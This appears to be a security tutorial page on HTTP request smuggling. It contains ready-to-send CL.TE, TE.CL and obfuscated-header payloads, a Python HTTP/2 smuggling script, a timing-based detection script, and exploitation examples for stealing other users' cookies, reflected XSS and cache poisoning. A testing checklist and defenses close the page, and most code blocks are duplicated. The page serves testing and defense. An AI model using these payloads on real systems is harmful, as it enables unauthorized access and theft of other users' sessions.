HTTP Request Smuggling
HTTP Request Smuggling exploits discrepancies in how front-end and back-end servers parse HTTP requests. By crafting ambiguous requests, attackers can "smuggle" malicious requests past security controls, poison caches, or steal other users' data.
Warning
๐ Quick Navigation
๐ฏ Fundamentals
- โข Understanding Request Smuggling
- โข CL.TE Attacks
- โข TE.CL Attacks
- โข TE.TE Obfuscation
โก Advanced
๐ ๏ธ Tools
๐งช Practice
- โข Practice Labs
- โข Testing Checklist
Understanding Request Smuggling
Request smuggling occurs when front-end and back-end servers disagree on request boundaries. HTTP/1.1 uses two methods to determine where a request ends:
Content-Length
Specifies the exact number of bytes in the request body. Server reads exactly that many bytes.
Content-Length: 13 Transfer-Encoding: chunked
Body is sent in chunks, each prefixed with size. A zero-length chunk signals the end.
Transfer-Encoding: chunked Information
CL.TE Attacks
CL.TE: Front-end uses Content-Length, back-end uses Transfer-Encoding.
The front-end forwards the entire body, but the back-end stops at the 0 chunk,
leaving the remainder for the next request.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLEDPOST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLEDHow it works:
- Front-end reads Content-Length: 13, forwards "0\r\n\r\nSMUGGLED"
- Back-end uses Transfer-Encoding, reads until "0\r\n\r\n" (end of chunks)
- "SMUGGLED" remains in the TCP stream, prepended to the next request
- Next request becomes "SMUGGLEDGET /path HTTP/1.1..."
TE.CL Attacks
TE.CL: Front-end uses Transfer-Encoding, back-end uses Content-Length. The front-end processes all chunks, but the back-end only reads Content-Length bytes.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0How it works:
- Front-end uses Transfer-Encoding, processes chunks, forwards everything
- Back-end uses Content-Length: 3, only reads "8\r\n"
- Remaining "SMUGGLED\r\n0\r\n" becomes start of next request
TE.TE Obfuscation
Both servers support Transfer-Encoding, but one can be tricked into not processing it using obfuscation techniques:
# TE.TE Obfuscation Techniques
# Extra whitespace
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked (with space after)
# Non-standard values
Transfer-Encoding: xchunked
Transfer-Encoding: chunked-false
Transfer-Encoding: chunked, cow
# Case variations
Transfer-Encoding: Chunked
TRANSFER-ENCODING: chunked
# Newline injection
Transfer-Encoding: chunked
X: x[\r\n]Transfer-Encoding: chunked
# Tab character
Transfer-Encoding:\tchunked
# Duplicate headers
Transfer-Encoding: chunked
Transfer-Encoding: identity# TE.TE Obfuscation Techniques
# Extra whitespace
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked (with space after)
# Non-standard values
Transfer-Encoding: xchunked
Transfer-Encoding: chunked-false
Transfer-Encoding: chunked, cow
# Case variations
Transfer-Encoding: Chunked
TRANSFER-ENCODING: chunked
# Newline injection
Transfer-Encoding: chunked
X: x[\r\n]Transfer-Encoding: chunked
# Tab character
Transfer-Encoding:\tchunked
# Duplicate headers
Transfer-Encoding: chunked
Transfer-Encoding: identityPOST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0HTTP/2 Request Smuggling
HTTP/2 doesn't use Content-Length or Transfer-Encoding for message framing. However, when proxies downgrade HTTP/2 to HTTP/1.1, they may reconstruct these headers, enabling new smuggling vectors.
H2.CL
Inject a Content-Length header into HTTP/2 request. After downgrade, the injected CL causes desync.
H2.TE
Inject Transfer-Encoding header. HTTP/2 should reject it, but some proxies pass it through after downgrade.
# HTTP/2 Request Smuggling (H2.CL / H2.TE)
# HTTP/2 doesn't use Content-Length or Transfer-Encoding headers
# But downgrade to HTTP/1.1 at the proxy can reintroduce vulnerabilities
# H2.CL - Inject Content-Length into HTTP/2 request
# When downgraded to HTTP/1.1, the injected CL takes precedence
import h2.connection
import h2.events
import socket
import ssl
def h2_cl_smuggle(host, path="/"):
"""
Send HTTP/2 request with injected Content-Length header
If front-end downgrades to HTTP/1.1, smuggling occurs
"""
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
sock = socket.create_connection((host, 443))
sock = ctx.wrap_socket(sock, server_hostname=host)
conn = h2.connection.H2Connection()
conn.initiate_connection()
sock.sendall(conn.data_to_send())
# Inject Content-Length header that will be used after downgrade
headers = [
(':method', 'POST'),
(':path', path),
(':authority', host),
(':scheme', 'https'),
('content-type', 'application/x-www-form-urlencoded'),
('content-length', '0'), # Injected - ignored by H2, used after downgrade
]
# Body contains the smuggled request
body = """GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=1"""
stream_id = conn.get_next_available_stream_id()
conn.send_headers(stream_id, headers)
conn.send_data(stream_id, body.encode(), end_stream=True)
sock.sendall(conn.data_to_send())
# Read response
while True:
data = sock.recv(65535)
if not data:
break
events = conn.receive_data(data)
for event in events:
if isinstance(event, h2.events.ResponseReceived):
print(f"Status: {dict(event.headers).get(':status')}")
if isinstance(event, h2.events.DataReceived):
print(f"Body: {event.data.decode()}")# HTTP/2 Request Smuggling (H2.CL / H2.TE)
# HTTP/2 doesn't use Content-Length or Transfer-Encoding headers
# But downgrade to HTTP/1.1 at the proxy can reintroduce vulnerabilities
# H2.CL - Inject Content-Length into HTTP/2 request
# When downgraded to HTTP/1.1, the injected CL takes precedence
import h2.connection
import h2.events
import socket
import ssl
def h2_cl_smuggle(host, path="/"):
"""
Send HTTP/2 request with injected Content-Length header
If front-end downgrades to HTTP/1.1, smuggling occurs
"""
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
sock = socket.create_connection((host, 443))
sock = ctx.wrap_socket(sock, server_hostname=host)
conn = h2.connection.H2Connection()
conn.initiate_connection()
sock.sendall(conn.data_to_send())
# Inject Content-Length header that will be used after downgrade
headers = [
(':method', 'POST'),
(':path', path),
(':authority', host),
(':scheme', 'https'),
('content-type', 'application/x-www-form-urlencoded'),
('content-length', '0'), # Injected - ignored by H2, used after downgrade
]
# Body contains the smuggled request
body = """GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=1"""
stream_id = conn.get_next_available_stream_id()
conn.send_headers(stream_id, headers)
conn.send_data(stream_id, body.encode(), end_stream=True)
sock.sendall(conn.data_to_send())
# Read response
while True:
data = sock.recv(65535)
if not data:
break
events = conn.receive_data(data)
for event in events:
if isinstance(event, h2.events.ResponseReceived):
print(f"Status: {dict(event.headers).get(':status')}")
if isinstance(event, h2.events.DataReceived):
print(f"Body: {event.data.decode()}")Detection Techniques
Request smuggling detection relies on timing differences. If the back-end processes a partial request and waits for more data, response times will increase.
#!/usr/bin/env python3
"""
HTTP Request Smuggling Detection Script
Tests for CL.TE and TE.CL vulnerabilities using timing differences
"""
import requests
import time
import sys
def test_clte(url):
"""
CL.TE Detection: Front-end uses Content-Length, back-end uses Transfer-Encoding
If vulnerable, back-end will wait for more chunks and timeout
"""
payload = """POST / HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
1
A
X"""
print("[*] Testing CL.TE...")
start = time.time()
try:
# Send raw request (requires socket-level control)
import socket
import ssl
host = url.replace("https://", "").replace("http://", "").split("/")[0]
port = 443 if url.startswith("https") else 80
sock = socket.create_connection((host, port), timeout=10)
if url.startswith("https"):
context = ssl.create_default_context()
sock = context.wrap_socket(sock, server_hostname=host)
request = f"""POST / HTTP/1.1\r
Host: {host}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 4\r
Transfer-Encoding: chunked\r
\r
1\r
A\r
X"""
sock.sendall(request.encode())
sock.settimeout(5)
try:
response = sock.recv(4096)
elapsed = time.time() - start
if elapsed > 4:
print(f"[+] CL.TE POTENTIALLY VULNERABLE - Response delayed {elapsed:.2f}s")
return True
except socket.timeout:
print(f"[+] CL.TE POTENTIALLY VULNERABLE - Request timed out")
return True
except Exception as e:
print(f"[-] Error: {e}")
print("[-] CL.TE not detected")
return False
def test_tecl(url):
"""
TE.CL Detection: Front-end uses Transfer-Encoding, back-end uses Content-Length
"""
print("[*] Testing TE.CL...")
# Similar timing-based detection for TE.CL
# Implementation follows same pattern
pass
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <url>")
sys.exit(1)
url = sys.argv[1]
test_clte(url)
test_tecl(url)#!/usr/bin/env python3
"""
HTTP Request Smuggling Detection Script
Tests for CL.TE and TE.CL vulnerabilities using timing differences
"""
import requests
import time
import sys
def test_clte(url):
"""
CL.TE Detection: Front-end uses Content-Length, back-end uses Transfer-Encoding
If vulnerable, back-end will wait for more chunks and timeout
"""
payload = """POST / HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
1
A
X"""
print("[*] Testing CL.TE...")
start = time.time()
try:
# Send raw request (requires socket-level control)
import socket
import ssl
host = url.replace("https://", "").replace("http://", "").split("/")[0]
port = 443 if url.startswith("https") else 80
sock = socket.create_connection((host, port), timeout=10)
if url.startswith("https"):
context = ssl.create_default_context()
sock = context.wrap_socket(sock, server_hostname=host)
request = f"""POST / HTTP/1.1\r
Host: {host}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 4\r
Transfer-Encoding: chunked\r
\r
1\r
A\r
X"""
sock.sendall(request.encode())
sock.settimeout(5)
try:
response = sock.recv(4096)
elapsed = time.time() - start
if elapsed > 4:
print(f"[+] CL.TE POTENTIALLY VULNERABLE - Response delayed {elapsed:.2f}s")
return True
except socket.timeout:
print(f"[+] CL.TE POTENTIALLY VULNERABLE - Request timed out")
return True
except Exception as e:
print(f"[-] Error: {e}")
print("[-] CL.TE not detected")
return False
def test_tecl(url):
"""
TE.CL Detection: Front-end uses Transfer-Encoding, back-end uses Content-Length
"""
print("[*] Testing TE.CL...")
# Similar timing-based detection for TE.CL
# Implementation follows same pattern
pass
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <url>")
sys.exit(1)
url = sys.argv[1]
test_clte(url)
test_tecl(url)Detection Methods
- Timing-based: Send ambiguous request, measure if response is delayed
- Differential responses: Send pairs of requests, check for inconsistencies
- Error-based: Look for "400 Bad Request" on second request
- Response capture: Inject request that captures the next response
Exploitation Examples
# Request Smuggling Exploitation Examples
# 1. Bypass Front-End Security Controls
# Smuggle a request to /admin that front-end blocks
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 139
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable.com
Cookie: session=attacker_session
Content-Length: 10
x=
# 2. Capture Other Users' Requests
# Store the next user's request in a parameter you control
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 200
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: vulnerable.com
Cookie: session=attacker
Content-Length: 400
comment=
# When next user's request arrives, it becomes part of the comment body
# Attacker can view captured cookies/headers in comment
# 3. Reflect XSS Without User Interaction
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: vulnerable.com
X-Ignore: X
# Next user receives the XSS response
# 4. Web Cache Poisoning via Smuggling
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 130
Transfer-Encoding: chunked
0
GET /static/main.js HTTP/1.1
Host: attacker.com
X-Ignore: X
# Cache stores attacker's version of main.js# Request Smuggling Exploitation Examples
# 1. Bypass Front-End Security Controls
# Smuggle a request to /admin that front-end blocks
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 139
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable.com
Cookie: session=attacker_session
Content-Length: 10
x=
# 2. Capture Other Users' Requests
# Store the next user's request in a parameter you control
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 200
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: vulnerable.com
Cookie: session=attacker
Content-Length: 400
comment=
# When next user's request arrives, it becomes part of the comment body
# Attacker can view captured cookies/headers in comment
# 3. Reflect XSS Without User Interaction
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: vulnerable.com
X-Ignore: X
# Next user receives the XSS response
# 4. Web Cache Poisoning via Smuggling
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 130
Transfer-Encoding: chunked
0
GET /static/main.js HTTP/1.1
Host: attacker.com
X-Ignore: X
# Cache stores attacker's version of main.jsSmuggling Tools
HTTP Request Smuggler (Burp)
Burp extension for automated detection and exploitation
Extensions โ BApp Store โ HTTP Request Smuggler smuggler
Python tool for request smuggling detection
python3 smuggler.py -u https://target.com h2csmuggler
HTTP/2 cleartext (h2c) smuggling tool
python3 h2csmuggler.py -x https://target.com Using Burp HTTP Request Smuggler
- 1. Install from BApp Store
Extensions โ BApp Store โ Search "HTTP Request Smuggler" โ Install
- 2. Scan for vulnerabilities
- Right-click request in Proxy/Repeater
- Extensions โ HTTP Request Smuggler โ Smuggle probe
- 3. Interpret results
"CL.TE confirmed"= Front uses CL, back uses TE"TE.CL confirmed"= Front uses TE, back uses CL"Timeout"results may indicate partial success
- 4. Exploit with Turbo Intruder
- For confirmed vulns, craft exploitation payload
- Use Turbo Intruder for reliable delivery
- 5. Check for HTTP/2 support
- Target โ Site map โ Check protocol column
- Use HTTP/2 tab in Repeater for H2.CL/H2.TE tests
Practice Labs
PortSwigger Smuggling Labs
21 labs from basic CL.TE to advanced HTTP/2 smuggling
Smuggler Tool
Automated scanner with example payloads
HTTP/2 Research
PortSwigger's HTTP/2 smuggling research papers
HackerOne Reports
Real-world smuggling vulnerabilities
Testing Checklist
๐ Prerequisites
- โ Identify load balancer/CDN/proxy in use
- โ Check if HTTP/2 is supported
- โ Verify connection reuse (Keep-Alive)
- โ Map request flow through infrastructure
โก Detection Tests
- โ Test CL.TE with timing
- โ Test TE.CL with timing
- โ Try TE.TE obfuscation variants
- โ Test HTTP/2 downgrade (H2.CL, H2.TE)
- โ Check for differential responses
๐ฅ Exploitation
- โ Access restricted endpoints (/admin)
- โ Capture other users' requests
- โ Poison web cache
- โ Deliver reflected XSS
- โ Bypass WAF rules
๐ Documentation
- โ Record exact payload that worked
- โ Document infrastructure involved
- โ Capture timing/response evidence
- โ Note any impact on other users
๐ก๏ธ Remediation & Defense
Defensive Measures
Server Configuration
- โข Use HTTP/2 end-to-end (eliminates CL/TE ambiguity)
- โข Configure front-end and back-end to agree on request boundaries
- โข Reject ambiguous requests with both Content-Length and Transfer-Encoding
- โข Normalize chunked encoding before forwarding
Proxy & Load Balancer
- โข Ensure the reverse proxy always uses the same parsing as the back-end
- โข Disable connection reuse between front-end and back-end
- โข Use unique per-request connections to back-end servers
- โข Keep all proxy/server software patched and up to date
Detection
- โข Monitor for requests with both CL and TE headers
- โข Alert on malformed chunked encoding
- โข Use WAF rules to detect smuggling patterns
- โข Audit request logs for unexpected request splitting
Architecture
- โข Prefer HTTP/2 or HTTP/3 throughout the entire stack
- โข Minimize the number of intermediaries in the request path
- โข Use the same web server software at each layer when possible
- โข Implement request integrity checks between layers
CWE References: CWE-444 (HTTP Request/Response Smuggling)